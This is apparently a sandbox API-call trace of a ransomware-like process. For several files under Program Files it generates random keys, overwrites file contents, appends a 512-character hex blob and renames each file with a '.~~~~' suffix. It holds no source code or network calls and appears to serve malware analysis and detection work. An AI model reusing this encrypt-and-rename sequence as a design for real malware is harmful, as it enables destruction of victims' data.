	[0087.238] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.238] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.238] CloseHandle (hObject=0x130) returned 1
	[0087.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0087.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.~~~~")) returned 1
	[0087.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0087.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.239] GetLastError () returned 0x0
	[0087.239] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.240] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.240] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.241] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20723069069) returned 1
	[0087.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dcd3f10, dwHighDateTime=0x1d60e1e)) 
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0087.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0087.241] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.241] GetLastError () returned 0x0
	[0087.242] GetLastError () returned 0x0
	[0087.242] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.242] GetLastError () returned 0x0
	[0087.242] GetLastError () returned 0x0
	[0087.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.492] WriteFile (in: hFile=0x130, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.494] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.497] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.497] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.497] CloseHandle (hObject=0x130) returned 1
	[0087.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0087.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.~~~~")) returned 1
	[0087.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0087.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.522] GetLastError () returned 0x0
	[0087.557] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.868] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.868] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.868] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20785820051) returned 1
	[0087.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9e2ed770, dwHighDateTime=0x1d60e1e)) 
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6dc0
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6dc0 | out: hHeap=0x300000) returned 1
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0087.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0087.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0087.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.869] GetLastError () returned 0x0
	[0087.869] GetLastError () returned 0x0
	[0087.869] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.869] GetLastError () returned 0x0
	[0087.869] GetLastError () returned 0x0
	[0087.871] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffd34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.872] WriteFile (in: hFile=0x12c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x2cc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x2cc, lpOverlapped=0x0) returned 1
	[0087.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.872] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.872] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.872] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.872] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.872] CloseHandle (hObject=0x12c) returned 1
	[0087.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9280
	[0087.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.~~~~")) returned 1
	[0087.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9280 | out: hHeap=0x300000) returned 1
	[0087.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.873] GetLastError () returned 0x0
	[0087.874] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.875] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.875] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.875] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20786495451) returned 1
	[0087.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9e2ed770, dwHighDateTime=0x1d60e1e)) 
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6928
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6928 | out: hHeap=0x300000) returned 1
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0087.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0087.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0087.875] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.876] GetLastError () returned 0x0
	[0087.876] GetLastError () returned 0x0
	[0087.876] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.876] GetLastError () returned 0x0
	[0087.876] GetLastError () returned 0x0
	[0088.127] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff5078, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.127] WriteFile (in: hFile=0x12c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0xaf88, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x24dfec0*=0xaf88, lpOverlapped=0x0) returned 1
	[0088.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0088.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.128] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.128] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.128] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.128] CloseHandle (hObject=0x12c) returned 1
	[0088.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0088.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.~~~~")) returned 1
	[0088.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0088.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.129] GetLastError () returned 0x0
	[0088.627] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394ca0) returned 1
	[0088.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.628] CryptReleaseContext (hProv=0x394ca0, dwFlags=0x0) returned 1
	[0088.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.628] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20861793705) returned 1
	[0088.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9e9eb810, dwHighDateTime=0x1d60e1e)) 
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4ac0
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4ac0 | out: hHeap=0x300000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.628] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.629] GetLastError () returned 0x0
	[0088.629] GetLastError () returned 0x0
	[0088.629] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.629] GetLastError () returned 0x0
	[0088.629] GetLastError () returned 0x0
	[0088.631] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffe34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.631] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1cc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1cc, lpOverlapped=0x0) returned 1
	[0088.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.631] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.631] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.631] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.631] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.632] CloseHandle (hObject=0x12c) returned 1
	[0088.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x394ca0
	[0088.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.~~~~" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.~~~~")) returned 1
	[0088.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x394ca0 | out: hHeap=0x300000) returned 1
	[0088.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.632] GetLastError () returned 0x0
	[0088.638] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.639] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.639] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.639] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20862893771) returned 1
	[0088.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ea11970, dwHighDateTime=0x1d60e1e)) 
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28254e0
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28254e0 | out: hHeap=0x300000) returned 1
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.639] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.640] GetLastError () returned 0x0
	[0088.640] GetLastError () returned 0x0
	[0088.640] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.640] GetLastError () returned 0x0
	[0088.640] GetLastError () returned 0x0
	[0088.645] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8ba2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.645] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x745e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x745e, lpOverlapped=0x0) returned 1
	[0088.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
